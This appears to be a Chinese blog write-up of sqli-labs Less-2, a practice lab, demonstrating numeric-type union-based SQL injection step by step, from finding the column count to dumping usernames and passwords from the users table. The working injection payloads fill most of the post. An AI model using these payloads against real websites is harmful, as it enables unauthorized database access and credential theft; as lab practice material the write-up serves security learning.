sqli-labs练习（第二关）——数字型

朱雀 2023-02-27 12:06 58阅读 0赞

## 1、先判断是字符型还是数字型。 ##

`172.16.11.222/sqli-labs/Less-2/?id=1`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70]![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 1]![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 2]  
id=2-1 与 id=1的结果一样，说明是数字型。

## 2、确认字段位数 ##

`172.16.11.222/sqli-labs/Less-2/?id=1 order by 3`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 3]![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 4]  
一共3位

## 3、确认占位信息 ##

`172.16.11.222/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 5]

## 4、找库名 ##

`http://172.16.11.222/sqli-labs/Less-2/?id=-1 union select 1,2,database() --+`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 6]  
库名是security

## 5、找表名 ##

`172.16.11.222/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 7]  
表名有emails、referers、uagents、users

## 6、找字段名 ##

`172.16.11.222/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'--+`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 8]  
users表里有id、username、password三个字段

## 7、找账号密码信息 ##

`172.16.11.222/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(',',username,password) SEPARATOR '|') from users --+`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 9]  
这与字符型差不多，只是少了第二步的`"` 或 `'`而已

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